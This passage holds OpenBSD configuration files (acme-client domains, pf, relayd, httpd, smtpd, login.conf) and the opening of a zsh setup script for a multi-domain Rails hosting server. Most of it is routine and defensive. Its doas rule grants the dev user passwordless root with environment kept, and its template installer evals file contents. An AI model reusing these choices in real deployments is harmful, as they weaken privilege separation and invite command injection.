alternative names { "glasgw.uk" "marketplace.glasgw.uk" "playlist.glasgw.uk" "dating.glasgw.uk" "tv.glasgw.uk" "takeaway.glasgw.uk" "maps.glasgw.uk" }
domain key "/etc/ssl/private/glasgw.uk.key"
domain full chain certificate "/etc/ssl/glasgw.uk.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "lndon.uk" {
alternative names { "lndon.uk" "marketplace.lndon.uk" "playlist.lndon.uk" "dating.lndon.uk" "tv.lndon.uk" "takeaway.lndon.uk" "maps.lndon.uk" }
domain key "/etc/ssl/private/lndon.uk.key"
domain full chain certificate "/etc/ssl/lndon.uk.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "lverpool.uk" {
alternative names { "lverpool.uk" "marketplace.lverpool.uk" "playlist.lverpool.uk" "dating.lverpool.uk" "tv.lverpool.uk" "takeaway.lverpool.uk" "maps.lverpool.uk" }
domain key "/etc/ssl/private/lverpool.uk.key"
domain full chain certificate "/etc/ssl/lverpool.uk.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "mnchester.uk" {
alternative names { "mnchester.uk" "marketplace.mnchester.uk" "playlist.mnchester.uk" "dating.mnchester.uk" "tv.mnchester.uk" "takeaway.mnchester.uk" "maps.mnchester.uk" }
domain key "/etc/ssl/private/mnchester.uk.key"
domain full chain certificate "/etc/ssl/mnchester.uk.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "amstrdam.nl" {
alternative names { "amstrdam.nl" "marktplaats.amstrdam.nl" "playlist.amstrdam.nl" "dating.amstrdam.nl" "tv.amstrdam.nl" "takeaway.amstrdam.nl" "maps.amstrdam.nl" }
domain key "/etc/ssl/private/amstrdam.nl.key"
domain full chain certificate "/etc/ssl/amstrdam.nl.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "rottrdam.nl" {
alternative names { "rottrdam.nl" "marktplaats.rottrdam.nl" "playlist.rottrdam.nl" "dating.rottrdam.nl" "tv.rottrdam.nl" "takeaway.rottrdam.nl" "maps.rottrdam.nl" }
domain key "/etc/ssl/private/rottrdam.nl.key"
domain full chain certificate "/etc/ssl/rottrdam.nl.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "utrcht.nl" {
alternative names { "utrcht.nl" "marktplaats.utrcht.nl" "playlist.utrcht.nl" "dating.utrcht.nl" "tv.utrcht.nl" "takeaway.utrcht.nl" "maps.utrcht.nl" }
domain key "/etc/ssl/private/utrcht.nl.key"
domain full chain certificate "/etc/ssl/utrcht.nl.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "brssels.be" {
alternative names { "brssels.be" "marche.brssels.be" "playlist.brssels.be" "dating.brssels.be" "tv.brssels.be" "takeaway.brssels.be" "maps.brssels.be" }
domain key "/etc/ssl/private/brssels.be.key"
domain full chain certificate "/etc/ssl/brssels.be.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "zrich.ch" {
alternative names { "zrich.ch" "marktplatz.zrich.ch" "playlist.zrich.ch" "dating.zrich.ch" "tv.zrich.ch" "takeaway.zrich.ch" "maps.zrich.ch" }
domain key "/etc/ssl/private/zrich.ch.key"
domain full chain certificate "/etc/ssl/zrich.ch.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "lchtenstein.li" {
alternative names { "lchtenstein.li" "marktplatz.lchtenstein.li" "playlist.lchtenstein.li" "dating.lchtenstein.li" "tv.lchtenstein.li" "takeaway.lchtenstein.li" "maps.lchtenstein.li" }
domain key "/etc/ssl/private/lchtenstein.li.key"
domain full chain certificate "/etc/ssl/lchtenstein.li.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "frankfrt.de" {
alternative names { "frankfrt.de" "marktplatz.frankfrt.de" "playlist.frankfrt.de" "dating.frankfrt.de" "tv.frankfrt.de" "takeaway.frankfrt.de" "maps.frankfrt.de" }
domain key "/etc/ssl/private/frankfrt.de.key"
domain full chain certificate "/etc/ssl/frankfrt.de.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "brdeaux.fr" {
alternative names { "brdeaux.fr" "marche.brdeaux.fr" "playlist.brdeaux.fr" "dating.brdeaux.fr" "tv.brdeaux.fr" "takeaway.brdeaux.fr" "maps.brdeaux.fr" }
domain key "/etc/ssl/private/brdeaux.fr.key"
domain full chain certificate "/etc/ssl/brdeaux.fr.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "mrseille.fr" {
alternative names { "mrseille.fr" "marche.mrseille.fr" "playlist.mrseille.fr" "dating.mrseille.fr" "tv.mrseille.fr" "takeaway.mrseille.fr" "maps.mrseille.fr" }
domain key "/etc/ssl/private/mrseille.fr.key"
domain full chain certificate "/etc/ssl/mrseille.fr.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "mlan.it" {
alternative names { "mlan.it" "mercato.mlan.it" "playlist.mlan.it" "dating.mlan.it" "tv.mlan.it" "takeaway.mlan.it" "maps.mlan.it" }
domain key "/etc/ssl/private/mlan.it.key"
domain full chain certificate "/etc/ssl/mlan.it.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "lisbon.pt" {
alternative names { "lisbon.pt" "mercado.lisbon.pt" "playlist.lisbon.pt" "dating.lisbon.pt" "tv.lisbon.pt" "takeaway.lisbon.pt" "maps.lisbon.pt" }
domain key "/etc/ssl/private/lisbon.pt.key"
domain full chain certificate "/etc/ssl/lisbon.pt.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "wrsawa.pl" {
alternative names { "wrsawa.pl" "marktplatz.wrsawa.pl" "playlist.wrsawa.pl" "dating.wrsawa.pl" "tv.wrsawa.pl" "takeaway.wrsawa.pl" "maps.wrsawa.pl" }
domain key "/etc/ssl/private/wrsawa.pl.key"
domain full chain certificate "/etc/ssl/wrsawa.pl.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "gdnsk.pl" {
alternative names { "gdnsk.pl" "marktplatz.gdnsk.pl" "playlist.gdnsk.pl" "dating.gdnsk.pl" "tv.gdnsk.pl" "takeaway.gdnsk.pl" "maps.gdnsk.pl" }
domain key "/etc/ssl/private/gdnsk.pl.key"
domain full chain certificate "/etc/ssl/gdnsk.pl.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "austn.us" {
alternative names { "austn.us" "marketplace.austn.us" "playlist.austn.us" "dating.austn.us" "tv.austn.us" "takeaway.austn.us" "maps.austn.us" }
domain key "/etc/ssl/private/austn.us.key"
domain full chain certificate "/etc/ssl/austn.us.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "chcago.us" {
alternative names { "chcago.us" "marketplace.chcago.us" "playlist.chcago.us" "dating.chcago.us" "tv.chcago.us" "takeaway.chcago.us" "maps.chcago.us" }
domain key "/etc/ssl/private/chcago.us.key"
domain full chain certificate "/etc/ssl/chcago.us.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "denvr.us" {
alternative names { "denvr.us" "marketplace.denvr.us" "playlist.denvr.us" "dating.denvr.us" "tv.denvr.us" "takeaway.denvr.us" "maps.denvr.us" }
domain key "/etc/ssl/private/denvr.us.key"
domain full chain certificate "/etc/ssl/denvr.us.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "dllas.us" {
alternative names { "dllas.us" "marketplace.dllas.us" "playlist.dllas.us" "dating.dllas.us" "tv.dllas.us" "takeaway.dllas.us" "maps.dllas.us" }
domain key "/etc/ssl/private/dllas.us.key"
domain full chain certificate "/etc/ssl/dllas.us.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "dnver.us" {
alternative names { "dnver.us" "marketplace.dnver.us" "playlist.dnver.us" "dating.dnver.us" "tv.dnver.us" "takeaway.dnver.us" "maps.dnver.us" }
domain key "/etc/ssl/private/dnver.us.key"
domain full chain certificate "/etc/ssl/dnver.us.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "dtroit.us" {
alternative names { "dtroit.us" "marketplace.dtroit.us" "playlist.dtroit.us" "dating.dtroit.us" "tv.dtroit.us" "takeaway.dtroit.us" "maps.dtroit.us" }
domain key "/etc/ssl/private/dtroit.us.key"
domain full chain certificate "/etc/ssl/dtroit.us.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "houstn.us" {
alternative names { "houstn.us" "marketplace.houstn.us" "playlist.houstn.us" "dating.houstn.us" "tv.houstn.us" "takeaway.houstn.us" "maps.houstn.us" }
domain key "/etc/ssl/private/houstn.us.key"
domain full chain certificate "/etc/ssl/houstn.us.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "lsangeles.com" {
alternative names { "lsangeles.com" "marketplace.lsangeles.com" "playlist.lsangeles.com" "dating.lsangeles.com" "tv.lsangeles.com" "takeaway.lsangeles.com" "maps.lsangeles.com" }
domain key "/etc/ssl/private/lsangeles.com.key"
domain full chain certificate "/etc/ssl/lsangeles.com.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "mnnesota.com" {
alternative names { "mnnesota.com" "marketplace.mnnesota.com" "playlist.mnnesota.com" "dating.mnnesota.com" "tv.mnnesota.com" "takeaway.mnnesota.com" "maps.mnnesota.com" }
domain key "/etc/ssl/private/mnnesota.com.key"
domain full chain certificate "/etc/ssl/mnnesota.com.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "newyrk.us" {
alternative names { "newyrk.us" "marketplace.newyrk.us" "playlist.newyrk.us" "dating.newyrk.us" "tv.newyrk.us" "takeaway.newyrk.us" "maps.newyrk.us" }
domain key "/etc/ssl/private/newyrk.us.key"
domain full chain certificate "/etc/ssl/newyrk.us.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "prtland.com" {
alternative names { "prtland.com" "marketplace.prtland.com" "playlist.prtland.com" "dating.prtland.com" "tv.prtland.com" "takeaway.prtland.com" "maps.prtland.com" }
domain key "/etc/ssl/private/prtland.com.key"
domain full chain certificate "/etc/ssl/prtland.com.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "wshingtondc.com" {
alternative names { "wshingtondc.com" "marketplace.wshingtondc.com" "playlist.wshingtondc.com" "dating.wshingtondc.com" "tv.wshingtondc.com" "takeaway.wshingtondc.com" "maps.wshingtondc.com" }
domain key "/etc/ssl/private/wshingtondc.com.key"
domain full chain certificate "/etc/ssl/wshingtondc.com.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "pub.healthcare" {
domain key "/etc/ssl/private/pub.healthcare.key"
domain full chain certificate "/etc/ssl/pub.healthcare.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "pub.attorney" {
domain key "/etc/ssl/private/pub.attorney.key"
domain full chain certificate "/etc/ssl/pub.attorney.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "freehelp.legal" {
domain key "/etc/ssl/private/freehelp.legal.key"
domain full chain certificate "/etc/ssl/freehelp.legal.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "bsdports.org" {
domain key "/etc/ssl/private/bsdports.org.key"
domain full chain certificate "/etc/ssl/bsdports.org.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "bsddocs.org" {
domain key "/etc/ssl/private/bsddocs.org.key"
domain full chain certificate "/etc/ssl/bsddocs.org.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "discordb.org" {
domain key "/etc/ssl/private/discordb.org.key"
domain full chain certificate "/etc/ssl/discordb.org.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "foodielicio.us" {
domain key "/etc/ssl/private/foodielicio.us.key"
domain full chain certificate "/etc/ssl/foodielicio.us.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "stacyspassion.com" {
domain key "/etc/ssl/private/stacyspassion.com.key"
domain full chain certificate "/etc/ssl/stacyspassion.com.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "antibettingblog.com" {
domain key "/etc/ssl/private/antibettingblog.com.key"
domain full chain certificate "/etc/ssl/antibettingblog.com.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "anticasinoblog.com" {
domain key "/etc/ssl/private/anticasinoblog.com.key"
domain full chain certificate "/etc/ssl/anticasinoblog.com.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "antigamblingblog.com" {
domain key "/etc/ssl/private/antigamblingblog.com.key"
domain full chain certificate "/etc/ssl/antigamblingblog.com.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "foball.no" {
domain key "/etc/ssl/private/foball.no.key"
domain full chain certificate "/etc/ssl/foball.no.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "amber.brgen.no" {
domain key "/etc/ssl/private/amber.brgen.no.key"
domain full chain certificate "/etc/ssl/amber.brgen.no.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "baibl.no" {
domain key "/etc/ssl/private/baibl.no.key"
domain full chain certificate "/etc/ssl/baibl.no.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
permit nopass keepenv dev as root
permit nopass dev as root cmd /sbin/rcctl args restart master
# httpd(8): ACME challenges and HTTP to HTTPS redirect per httpd.conf(5)
server "*" {
listen on 0.0.0.0 port 80
location "/.well-known/acme-challenge/*" {
root "/acme"
request strip 2
}
location * {
block return 301 "https://$HTTP_HOST$REQUEST_URI"
}
}
server "brgen.no" {
listen on * port 6666
root "/postpro"
directory index index.html
}
# $OpenBSD: login.conf,v 1.27 2025/07/17 14:44:42 landry Exp $
#
# Sample login.conf file. See login.conf(5) for details.
#
#
# Standard authentication styles:
#
# passwd Use only the local password file
# chpass Do not authenticate, but change user's password (change
# the YP password if the user has one, else change the
# local password)
# lchpass Do not login; change user's local password instead
# ldap Use LDAP authentication
# radius Use RADIUS authentication
# reject Use rejected authentication
# skey Use S/Key authentication
# activ ActivCard X9.9 token authentication
# crypto CRYPTOCard X9.9 token authentication
# snk Digital Pathways SecureNet Key authentication
# token Generic X9.9 token authentication
# yubikey YubiKey authentication
#
# Default allowed authentication styles
auth-defaults:auth=passwd,skey:
# Default allowed authentication styles for authentication type ftp
auth-ftp-defaults:auth-ftp=passwd:
#
# The default values
# To alter the default authentication types change the line:
# :tc=auth-defaults:\
# to read something like: (enables passwd, "myauth", and activ)
# :auth=passwd,myauth,activ:\
# Any value changed in the daemon class should be reset in default
# class.
#
default:\
:path=/usr/bin /bin /usr/sbin /sbin /usr/X11R6/bin /usr/local/bin /usr/local/sbin:\
:umask=022:\
:datasize-max=1536M:\
:datasize-cur=1536M:\
:maxproc-max=256:\
:maxproc-cur=128:\
:openfiles-max=1024:\
:openfiles-cur=512:\
:stacksize-cur=4M:\
:localcipher=blowfish,a:\
:tc=auth-defaults:\
:tc=auth-ftp-defaults:
#
# Settings used by /etc/rc and root
# This must be set properly for daemons started as root by inetd as well.
# Be sure to reset these values to system defaults in the default class!
#
daemon:\
:ignorenologin:\
:datasize=4096M:\
:maxproc=infinity:\
:openfiles-max=1024:\
:openfiles-cur=128:\
:stacksize-cur=8M:\
:tc=default:
#
# Staff have fewer restrictions and can login even when nologins are set.
#
staff:\
:datasize-cur=1536M:\
:datasize-max=infinity:\
:maxproc-max=512:\
:maxproc-cur=256:\
:ignorenologin:\
:requirehome@:\
:tc=default:
#
# Authpf accounts get a special motd and shell
#
authpf:\
:welcome=/etc/motd.authpf:\
:shell=/usr/sbin/authpf:\
:tc=default:
#
# Building LLVM in base requires higher limits
#
build:\
:datasize-max=1843M:\
:datasize-cur=1843M:\
:tc=default:
#
# Building ports with DPB uses raised limits
#
pbuild:\
:datasize-max=infinity:\
:datasize-cur=12G:\
:maxproc-max=1024:\
:maxproc-cur=512:\
:stacksize-cur=8M:\
:priority=5:\
:tc=default:
#
# Override resource limits for certain daemons started by rc.d(8)
#
rails:\
:datasize=4096M:\
:openfiles-max=4096:\
:openfiles-cur=2048:\
:maxproc-max=512:\
:maxproc-cur=256:\
:tc=daemon:
bgpd:\
:datasize=16384M:\
:openfiles=512:\
:tc=daemon:
unbound:\
:openfiles=512:\
:tc=daemon:
vmd:\
:datasize=16384M:\
:tc=daemon:
xenodm:\
:openfiles=512:\
:tc=daemon:
table aliases file:/etc/mail/aliases
listen on socket
listen on lo0
action "local_mail" mbox alias <aliases>
action "outbound" relay
match from local for local action "local_mail"
match from local for any action "outbound"
ext_if = "vio0"
brgen_ip = "46.23.89.226"
hyp_ip = "194.63.248.53"
table <bruteforce> persist
set skip on lo
set block-policy drop
match in all scrub (no-df random-id max-mss 1440)
antispoof quick for $ext_if
block log all
# Bruteforce table: block first, evaluated quick before pass rules
block quick from <bruteforce>
pass out on $ext_if all keep state
# SSH: rate-limit and feed brutes into table
pass in on $ext_if inet proto tcp to $ext_if port 22 \
keep state (max-src-conn 10, max-src-conn-rate 5/30, \
overload <bruteforce> flush global)
# DNS (authoritative NSD)
pass in on $ext_if inet proto { tcp, udp } to $brgen_ip port 53 keep state
pass in on $ext_if inet proto udp to $hyp_ip port 53 keep state
# HTTP/HTTPS: rate-limit new connections
pass in on $ext_if inet proto tcp to $ext_if port 80 \
keep state (max-src-conn-rate 200/10, overload <bruteforce> flush global)
pass in on $ext_if inet proto tcp to $ext_if port 443 \
keep state (max-src-conn-rate 500/10, overload <bruteforce> flush global)
pass inet proto icmp all icmp-type { echoreq, unreach, timex }
anchor "relayd/*"
# Minimal PF for Stage 1 per pf.conf(5) - OpenBSD 7.8
ext_if = "vio0"
brgen_ip = "$BRGEN_IP"
hyp_ip = "$HYP_IP"
set skip on lo
set block-policy return
block log all
pass out on \$ext_if all
pass in on \$ext_if inet proto tcp to \$ext_if port 22 keep state
pass in on \$ext_if inet proto { tcp, udp } to \$brgen_ip port 53 keep state
pass in on \$ext_if inet proto udp to \$hyp_ip port 53 keep state
pass in on \$ext_if inet proto tcp to \$ext_if port 80 keep state
pass inet proto icmp all icmp-type { echoreq, unreach, timex }
log connection errors
table <brgen> { 127.0.0.1 }
table <amber> { 127.0.0.1 }
table <master> { 127.0.0.1 }
table <bsdports> { 127.0.0.1 }
table <baibl> { 127.0.0.1 }
http protocol "https_proxy" {
tls keypair "brgen.no"
tls keypair "amber.brgen.no"
tls keypair "bsdports.org"
match request header set "X-Forwarded-Proto" value "https"
match request header set "X-Forwarded-For" value "$REMOTE_ADDR"
match response header set "Strict-Transport-Security" value "max-age=31536000; includeSubDomains; preload"
match response header set "Content-Security-Policy" value "upgrade-insecure-requests; default-src https: 'self' 'unsafe-inline' blob:; media-src 'self' blob:; connect-src 'self'"
match response header set "Referrer-Policy" value "strict-origin"
match response header set "X-Content-Type-Options" value "nosniff"
match response header set "X-Frame-Options" value "SAMEORIGIN"
match response header set "X-XSS-Protection" value "0"
match response header set "Permissions-Policy" value "accelerometer=(), camera=(), geolocation=(), gyroscope=(), magnetometer=(), microphone=(), payment=(), usb=()"
match response header remove "Server"
http websockets
match request header "Host" value "brgen.no" forward to <brgen>
match request header "Host" value "www.brgen.no" forward to <brgen>
match request header "Host" value "tv.brgen.no" forward to <brgen>
match request header "Host" value "dating.brgen.no" forward to <brgen>
match request header "Host" value "playlist.brgen.no" forward to <brgen>
match request header "Host" value "takeaway.brgen.no" forward to <brgen>
match request header "Host" value "markedsplass.brgen.no" forward to <brgen>
match request header "Host" value "amber.brgen.no" forward to <amber>
match request header "Host" value "ai.brgen.no" forward to <master>
match request header "Host" value "bsdports.org" forward to <bsdports>
match request header "Host" value "baibl.no" forward to <baibl>
pass
}
relay "https_in" {
listen on 0.0.0.0 port 443 tls
protocol "https_proxy"
forward to <brgen> port 38182 check http "/" code 200
forward to <amber> port 61352 check http "/" code 200
forward to <master> port 53187 check http "/up" code 200
forward to <bsdports> port 47312 check tcp
forward to <baibl> port 10007 check tcp
}
#!/usr/bin/env zsh
# Configure OpenBSD 7.8: NSD/DNSSEC, acme-client, Rails, pf, relayd, smtpd.
# Usage: doas zsh openbsd.sh [--help]
# VERIFIED AGAINST: OpenBSD 7.8 manual pages (2026-01-06)
set -euo pipefail
setopt no_unset nullglob local_traps
zmodload zsh/regex
zmodload zsh/datetime
typeset -a TMPFILES
SCRIPT_DIR=${0:a:h}
# Helpers inlined ( _lib.sh removed for ONE_SOURCE/singularity). Pure Zsh: log, backup_directory, install_*, sync_openbsd_configs (now ships .zshrc to /home/dev too).
log() {
typeset level=$1; shift
print -r -- "[$(date +'%Y-%m-%d %H:%M:%S')] [$level] $*" | tee -a /var/log/openbsd_setup.log >&2
}
log_info() { log INFO "$@" }
log_error() { log ERROR "$@" }
transaction_log() {
typeset operation=$1 target=$2 op_status=$3 metadata=${4:-}
print -r -- "[$(date +'%Y-%m-%d %H:%M:%S')] [$operation] $target | Status: $op_status | $metadata" \
>> /var/log/openbsd_transactions.log
}
cleanup() {
typeset exit_code=$?
for tmpfile in "${TMPFILES[@]}"; do
[[ -n $tmpfile && -f $tmpfile ]] && rm -f "$tmpfile"
done
return $exit_code
}
error_handler() {
typeset exit_code=$1 line_num=$2
log ERROR "Script failed with exit code $exit_code at line $line_num"
cleanup
exit $exit_code
}
backup_directory() {
typeset target_dir=$1 backup_name=${2:-${1:t}}
typeset backup_dir=/var/backups/openbsd_setup
typeset backup_file="$backup_dir/${backup_name}-${EPOCHSECONDS}.tar.gz"
[[ ! -d $backup_dir ]] && mkdir -p "$backup_dir"
[[ ! -d $target_dir ]] && { log WARN "Directory $target_dir does not exist, skipping backup"; return 0 }
log INFO "Backing up $target_dir to $backup_file"
transaction_log "BACKUP" "$target_dir" "START"
if tar -czf "$backup_file" -C "${target_dir:h}" "${target_dir:t}" 2>/dev/null; then
transaction_log "BACKUP" "$target_dir" "SUCCESS" "$backup_file"
typeset -a _bfiles; _bfiles=("$backup_dir"/${backup_name}-*.tar.gz(N))
(( ${#_bfiles} > 10 )) && {
typeset -a _sorted; _sorted=("$backup_dir"/${backup_name}-*.tar.gz(NOm))
for _f in "${_sorted[@]:10}"; do rm -f "$_f"; done
}
echo "$backup_file"
return 0
else
transaction_log "BACKUP" "$target_dir" "FAILURE"
log ERROR "Backup failed for $target_dir"
return 1
fi
}
install_template() {
typeset src=${SCRIPT_DIR}/$1 dst=$2
[[ -f $src ]] || { log ERROR "Missing template: $src"; exit 1 }
typeset content; content=$(<"$src")
eval "cat > \"$dst\" <<INSTALL_TEMPLATE_EOF
$content
INSTALL_TEMPLATE_EOF"
}
append_template() {
typeset src=${SCRIPT_DIR}/$1 dst=$2
[[ -f $src ]] || { log ERROR "Missing template: $src"; exit 1 }
typeset content; content=$(<"$src")
eval "cat >> \"$dst\" <<APPEND_TEMPLATE_EOF
$content
APPEND_TEMPLATE_EOF"
}
install_static() {
typeset src=${SCRIPT_DIR}/$1 dst=$2
[[ -f $src ]] || { log ERROR "Missing file: $src"; exit 1 }
cp "$src" "$dst"
}
is_step_completed() { [[ -f "${STATE_FILE}.steps" ]] && [[ $(<"${STATE_FILE}.steps") == *"$1"* ]] }
mark_step_completed() { print -r -- "$1" >> "${STATE_FILE}.steps" }
# Safe pure-Zsh sync for DEPLOY/openbsd tree (used on target VPS)
# Usage: sync_openbsd_configs /path/to/checked-out/DEPLOY/openbsd
sync_openbsd_configs() {
typeset src=${1:-.}
[[ -d $src/etc ]] || { log WARN "No etc/ in $src"; return 0 }
backup_directory /etc "etc-pre-sync" || return 1
for f in pf.conf rc.conf.local relayd.conf httpd.conf acme-client.conf doas.conf login.conf; do
[[ -e $src/etc/$f ]] && cp -R "$src/etc/$f" /etc/ && log INFO "synced /etc/$f"
done
[[ -d $src/etc/rc.d ]] && cp -R "$src/etc/rc.d/"* /etc/rc.d/ 2>/dev/null || true
[[ -d $src/usr/local/bin ]] && cp -R "$src/usr/local/bin/"* /usr/local/bin/ 2>/dev/null || true
# Also sync user env .zshrc if present (compare/sync with live model)
if [[ -f $src/etc/.zshrc ]]; then
install -d -o dev -g dev -m 700 /home/dev 2>/dev/null || true
cp "$src/etc/.zshrc" /home/dev/.zshrc
chown dev:dev /home/dev/.zshrc 2>/dev/null || true
chmod 644 /home/dev/.zshrc 2>/dev/null || true
log INFO "synced .zshrc to /home/dev (VPS dev env)"
fi
log INFO "OpenBSD config tree sync complete (with backup)"
}
source "${SCRIPT_DIR}/_net.sh"
trap 'cleanup' EXIT
trap 'error_handler $? $LINENO' ERR INT TERM
typeset -r BRGEN_IP="46.23.89.226"
typeset -r HYP_IP="194.63.248.53"
typeset -r LOCALHOST="127.0.0.1"
typeset -r EMAIL_ADDRESS="bergen@pub.attorney"
typeset -a PUBLIC_RESOLVERS=(8.8.8.8 1.1.1.1 9.9.9.9)
typeset -A APP_PORTS
typeset -A FAILED_CERTS
validate_ip "$BRGEN_IP" || { log ERROR "Invalid BRGEN_IP: $BRGEN_IP"; exit 1 }
validate_ip "$HYP_IP" || { log ERROR "Invalid HYP_IP: $HYP_IP"; exit 1 }
ALL_APPS=(
brgen:brgen.no
amber:amber.brgen.no
bsdports:bsdports.org
baibl:baibl.no
)
SERVICES=()
ALL_DOMAINS=(
brgen.no:markedsplass,playlist,dating,tv,takeaway,maps,ai
longyearbyn.no:markedsplass,playlist,dating,tv,takeaway,maps
oshlo.no:markedsplass,playlist,dating,tv,takeaway,maps
stvanger.no:markedsplass,playlist,dating,tv,takeaway,maps
trmso.no:markedsplass,playlist,dating,tv,takeaway,maps
trndheim.no:markedsplass,playlist,dating,tv,takeaway,maps
reykjavk.is:markadur,playlist,dating,tv,takeaway,maps
kbenhvn.dk:markedsplads,playlist,dating,tv,takeaway,maps
gtebrg.se:marknadsplats,playlist,dating,tv,takeaway,maps
mlmoe.se:marknadsplats,playlist,dating,tv,takeaway,maps
stholm.se:marknadsplats,playlist,dating,tv,takeaway,maps
hlsinki.fi:markkinapaikka,playlist,dating,tv,takeaway,maps
brmingham.uk:marketplace,playlist,dating,tv,takeaway,maps
cardff.uk:marketplace,playlist,dating,tv,takeaway,maps
edinbrgh.uk:marketplace,playlist,dating,tv,takeaway,maps
glasgw.uk:marketplace,playlist,dating,tv,takeaway,maps
lndon.uk:marketplace,playlist,dating,tv,takeaway,maps
lverpool.uk:marketplace,playlist,dating,tv,takeaway,maps
mnchester.uk:marketplace,playlist,dating,tv,takeaway,maps
amstrdam.nl:marktplaats,playlist,dating,tv,takeaway,maps
rottrdam.nl:marktplaats,playlist,dating,tv,takeaway,maps
utrcht.nl:marktplaats,playlist,dating,tv,takeaway,maps
brssels.be:marche,playlist,dating,tv,takeaway,maps
zrich.ch:marktplatz,playlist,dating,tv,takeaway,maps
lchtenstein.li:marktplatz,playlist,dating,tv,takeaway,maps
frankfrt.de:marktplatz,playlist,dating,tv,takeaway,maps
brdeaux.fr:marche,playlist,dating,tv,takeaway,maps
mrseille.fr:marche,playlist,dating,tv,takeaway,maps
mlan.it:mercato,playlist,dating,tv,takeaway,maps
lisbon.pt:mercado,playlist,dating,tv,takeaway,maps
wrsawa.pl:marktplatz,playlist,dating,tv,takeaway,maps
gdnsk.pl:marktplatz,playlist,dating,tv,takeaway,maps
austn.us:marketplace,playlist,dating,tv,takeaway,maps
chcago.us:marketplace,playlist,dating,tv,takeaway,maps
denvr.us:marketplace,playlist,dating,tv,takeaway,maps
dllas.us:marketplace,playlist,dating,tv,takeaway,maps
dnver.us:marketplace,playlist,dating,tv,takeaway,maps
dtroit.us:marketplace,playlist,dating,tv,takeaway,maps
houstn.us:marketplace,playlist,dating,tv,takeaway,maps
lsangeles.com:marketplace,playlist,dating,tv,takeaway,maps
mnnesota.com:marketplace,playlist,dating,tv,takeaway,maps
newyrk.us:marketplace,playlist,dating,tv,takeaway,maps
prtland.com:marketplace,playlist,dating,tv,takeaway,maps
wshingtondc.com:marketplace,playlist,dating,tv,takeaway,maps
pub.healthcare
pub.attorney
freehelp.legal
bsdports.org
bsddocs.org
discordb.org
foodielicio.us
stacyspassion.com
antibettingblog.com
anticasinoblog.com
antigamblingblog.com
foball.no
amber.brgen.no
baibl.no
)
# ── Stage 1: DNS, DNSSEC, TLS certificates ────────────────────────────────────
stage_1() {
log INFO "Stage 1: DNS and certificates"
typeset -a _df_root; _df_root=("${(@f)$(df -k /)}"); typeset _root_avail=${${(z)_df_root[2]}[4]}
(( _root_avail < 10000 )) && { log ERROR "Insufficient disk space on /"; exit 1 }
typeset -a _df_var; _df_var=("${(@f)$(df -k /var)}"); typeset _var_avail=${${(z)_df_var[2]}[4]}
(( _var_avail < 512000 )) && { log ERROR "Insufficient disk space on /var"; exit 1 }
pkg_add -U ldns-utils ruby%3.4 zap zsh fish neovim tmux fontconfig fzf ripgrep fd 2>/tmp/pkg_add.log \
|| { log ERROR "pkg_add failed. See /tmp/pkg_add.log"; exit 1 }
[[ -f /etc/rc.conf.local && $(<"/etc/rc.conf.local") == *"pf=NO"* ]] && log WARN "pf disabled in rc.conf.local"
ifconfig vio0 >/dev/null 2>&1 || { log ERROR "Interface vio0 not found"; exit 1 }
/sbin/pfctl -d || log WARN "pf disable failed"
/sbin/pfctl -e || { log ERROR "pf enable failed"; exit 1 }
install_template etc/pf.stage1.conf /etc/pf.conf
/sbin/pfctl -nf /etc/pf.conf || { log ERROR "pf.conf invalid"; exit 1 }
/sbin/pfctl -f /etc/pf.conf || { log ERROR "pf failed"; exit 1 }
[[ -d /var/nsd/etc ]] || { log ERROR "/var/nsd/etc missing"; exit 1 }
[[ -d /var/nsd/zones/master ]] || { log ERROR "/var/nsd/zones/master missing"; exit 1 }
